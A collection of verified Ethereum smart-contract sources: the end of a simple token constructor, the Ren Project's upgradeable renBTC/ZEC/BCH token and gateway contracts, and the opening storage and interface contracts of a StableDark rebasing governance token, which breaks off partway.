address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
Deployed by Ren Project, https://renproject.io
Commit hash: 9068f80
Repository: https://github.com/renproject/darknode-sol
Issues: https://github.com/renproject/darknode-sol/issues
Licenses
@openzeppelin/contracts: (MIT) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/LICENSE
darknode-sol: (GNU GPL V3) https://github.com/renproject/darknode-sol/blob/master/LICENSE
*/
pragma solidity 0.5.16;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
revert("ECDSA: signature length is invalid");
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: signature.s is in the wrong range");
}
if (v != 27 && v != 28) {
revert("ECDSA: signature.v is in the wrong range");
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library OpenZeppelinUpgradesAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract Context is Initializable {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
library String {
function fromUint(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
function fromBytes32(bytes32 _value) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(32 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 32; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(_value[i] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(_value[i] & 0x0f))];
}
return string(str);
}
function fromAddress(address _addr) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(20 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(value[i + 12] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function add8(
string memory a,
string memory b,
string memory c,
string memory d,
string memory e,
string memory f,
string memory g,
string memory h
) internal pure returns (string memory) {
return string(abi.encodePacked(a, b, c, d, e, f, g, h));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
contract ERC20WithRate is Initializable, Ownable, ERC20 {
using SafeMath for uint256;
uint256 public constant _rateScale = 1e18;
uint256 internal _rate;
event LogRateChanged(uint256 indexed _rate);
function initialize(address _nextOwner, uint256 _initialRate)
public
initializer
{
Ownable.initialize(_nextOwner);
_setRate(_initialRate);
}
function setExchangeRate(uint256 _nextRate) public onlyOwner {
_setRate(_nextRate);
}
function exchangeRateCurrent() public view returns (uint256) {
require(_rate != 0, "ERC20WithRate: rate has not been initialized");
return _rate;
}
function _setRate(uint256 _nextRate) internal {
require(_nextRate > 0, "ERC20WithRate: rate must be greater than zero");
_rate = _nextRate;
}
function balanceOfUnderlying(address _account)
public
view
returns (uint256)
{
return toUnderlying(balanceOf(_account));
}
function toUnderlying(uint256 _amount) public view returns (uint256) {
return _amount.mul(_rate).div(_rateScale);
}
function fromUnderlying(uint256 _amountUnderlying)
public
view
returns (uint256)
{
return _amountUnderlying.mul(_rateScale).div(_rate);
}
}
contract ERC20WithPermit is Initializable, ERC20, ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) public nonces;
string public version;
bytes32 public DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
function initialize(
uint256 _chainId,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
version = _version;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "ERC20WithRate: address must not be 0x0");
require(
holder == ecrecover(digest, v, r, s),
"ERC20WithRate: invalid signature"
);
require(
expiry == 0 || now <= expiry,
"ERC20WithRate: permit has expired"
);
require(nonce == nonces[holder]++, "ERC20WithRate: invalid nonce");
uint256 amount = allowed ? uint256(-1) : 0;
_approve(holder, spender, amount);
}
}
contract RenERC20LogicV1 is
Initializable,
ERC20,
ERC20Detailed,
ERC20WithRate,
ERC20WithPermit,
Claimable,
CanReclaimTokens
{
function initialize(
uint256 _chainId,
address _nextOwner,
uint256 _initialRate,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
ERC20WithRate.initialize(_nextOwner, _initialRate);
ERC20WithPermit.initialize(
_chainId,
_version,
_name,
_symbol,
_decimals
);
Claimable.initialize(_nextOwner);
CanReclaimTokens.initialize(_nextOwner);
}
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount)
public
returns (bool)
{
require(
recipient != address(this),
"RenERC20: can't transfer to token address"
);
return super.transferFrom(sender, recipient, amount);
}
}
contract RenBTC is InitializableAdminUpgradeabilityProxy {}
contract RenZEC is InitializableAdminUpgradeabilityProxy {}
contract RenBCH is InitializableAdminUpgradeabilityProxy {}
interface IMintGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
}
interface IBurnGateway {
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
interface IGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
contract GatewayStateV1 {
uint256 constant BIPS_DENOMINATOR = 10000;
uint256 public minimumBurnAmount;
RenERC20LogicV1 public token;
address public mintAuthority;
address public feeRecipient;
uint16 public mintFee;
uint16 public burnFee;
mapping(bytes32 => bool) public status;
uint256 public nextN = 0;
}
contract GatewayLogicV1 is
Initializable,
Claimable,
CanReclaimTokens,
IGateway,
GatewayStateV1
{
using SafeMath for uint256;
event LogMintAuthorityUpdated(address indexed _newMintAuthority);
event LogMint(
address indexed _to,
uint256 _amount,
uint256 indexed _n,
bytes32 indexed _signedMessageHash
);
event LogBurn(
bytes _to,
uint256 _amount,
uint256 indexed _n,
bytes indexed _indexedTo
);
modifier onlyOwnerOrMintAuthority() {
require(
msg.sender == mintAuthority || msg.sender == owner(),
"Gateway: caller is not the owner or mint authority"
);
_;
}
function initialize(
RenERC20LogicV1 _token,
address _feeRecipient,
address _mintAuthority,
uint16 _mintFee,
uint16 _burnFee,
uint256 _minimumBurnAmount
) public initializer {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
minimumBurnAmount = _minimumBurnAmount;
token = _token;
mintFee = _mintFee;
burnFee = _burnFee;
updateMintAuthority(_mintAuthority);
updateFeeRecipient(_feeRecipient);
}
function claimTokenOwnership() public {
token.claimOwnership();
}
function transferTokenOwnership(GatewayLogicV1 _nextTokenOwner)
public
onlyOwner
{
token.transferOwnership(address(_nextTokenOwner));
_nextTokenOwner.claimTokenOwnership();
}
function updateMintAuthority(address _nextMintAuthority)
public
onlyOwnerOrMintAuthority
{
require(
_nextMintAuthority != address(0),
"Gateway: mintAuthority cannot be set to address zero"
);
mintAuthority = _nextMintAuthority;
emit LogMintAuthorityUpdated(mintAuthority);
}
function updateMinimumBurnAmount(uint256 _minimumBurnAmount)
public
onlyOwner
{
minimumBurnAmount = _minimumBurnAmount;
}
function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner {
require(
_nextFeeRecipient != address(0x0),
"Gateway: fee recipient cannot be 0x0"
);
feeRecipient = _nextFeeRecipient;
}
function updateMintFee(uint16 _nextMintFee) public onlyOwner {
mintFee = _nextMintFee;
}
function updateBurnFee(uint16 _nextBurnFee) public onlyOwner {
burnFee = _nextBurnFee;
}
function mint(
bytes32 _pHash,
uint256 _amountUnderlying,
bytes32 _nHash,
bytes memory _sig
) public returns (uint256) {
bytes32 signedMessageHash = hashForSignature(
_pHash,
_amountUnderlying,
msg.sender,
_nHash
);
require(
status[signedMessageHash] == false,
"Gateway: nonce hash already spent"
);
if (!verifySignature(signedMessageHash, _sig)) {
revert(
String.add8(
"Gateway: invalid signature. pHash: ",
String.fromBytes32(_pHash),
", amount: ",
String.fromUint(_amountUnderlying),
", msg.sender: ",
String.fromAddress(msg.sender),
", _nHash: ",
String.fromBytes32(_nHash)
)
);
}
status[signedMessageHash] = true;
uint256 amountScaled = token.fromUnderlying(_amountUnderlying);
uint256 absoluteFeeScaled = amountScaled.mul(mintFee).div(
BIPS_DENOMINATOR
);
uint256 receivedAmountScaled = amountScaled.sub(
absoluteFeeScaled,
"Gateway: fee exceeds amount"
);
token.mint(msg.sender, receivedAmountScaled);
token.mint(feeRecipient, absoluteFeeScaled);
uint256 receivedAmountUnderlying = token.toUnderlying(
receivedAmountScaled
);
emit LogMint(
msg.sender,
receivedAmountUnderlying,
nextN,
signedMessageHash
);
nextN += 1;
return receivedAmountScaled;
}
function burn(bytes memory _to, uint256 _amount) public returns (uint256) {
require(_to.length != 0, "Gateway: to address is empty");
uint256 fee = _amount.mul(burnFee).div(BIPS_DENOMINATOR);
uint256 amountAfterFee = _amount.sub(
fee,
"Gateway: fee exceeds amount"
);
uint256 amountAfterFeeUnderlying = token.toUnderlying(amountAfterFee);
token.burn(msg.sender, _amount);
token.mint(feeRecipient, fee);
require(
amountAfterFeeUnderlying > minimumBurnAmount,
"Gateway: amount is less than the minimum burn amount"
);
emit LogBurn(_to, amountAfterFeeUnderlying, nextN, _to);
nextN += 1;
return amountAfterFeeUnderlying;
}
function verifySignature(bytes32 _signedMessageHash, bytes memory _sig)
public
view
returns (bool)
{
return mintAuthority == ECDSA.recover(_signedMessageHash, _sig);
}
function hashForSignature(
bytes32 _pHash,
uint256 _amount,
address _to,
bytes32 _nHash
) public view returns (bytes32) {
return
keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash));
}
}
contract BTCGateway is InitializableAdminUpgradeabilityProxy {}
contract ZECGateway is InitializableAdminUpgradeabilityProxy {}
contract BCHGateway is InitializableAdminUpgradeabilityProxy {}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-08-19
*/
pragma solidity 0.5.17;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a StableDark token
contract StableDarkTokenStorage {
using SafeMath for uint256;
/**
* @dev Guard variable for re-entrancy checks. Not currently used
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Governor for this contract
*/
address public gov;
/**
* @notice Pending governance for this contract
*/
address public pendingGov;
/**
* @notice Approved rebaser for this contract
*/
address public rebaser;
/**
* @notice Reserve address of StableDark protocol
*/
address public incentivizer;
/**
* @notice Total supply of StableDarks
*/
uint256 internal _totalSupply;
/**
* @notice Internal decimals used to handle scaling factor
*/
uint256 public constant internalDecimals = 10**24;
/**
* @notice Used for percentage maths
*/
uint256 public constant BASE = 10**18;
/**
* @notice Scaling factor that adjusts everyone's balances
*/
uint256 public stabledarksScalingFactor;
mapping (address => uint256) internal _stabledarkBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract StableDarkGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract StableDarkTokenInterface is StableDarkTokenStorage, StableDarkGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Event emitted when tokens are rebased
*/
event Rebase(uint256 epoch, uint256 prevSdarksScalingFactor, uint256 newSdarksScalingFactor);
/*** Gov Events ***/
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
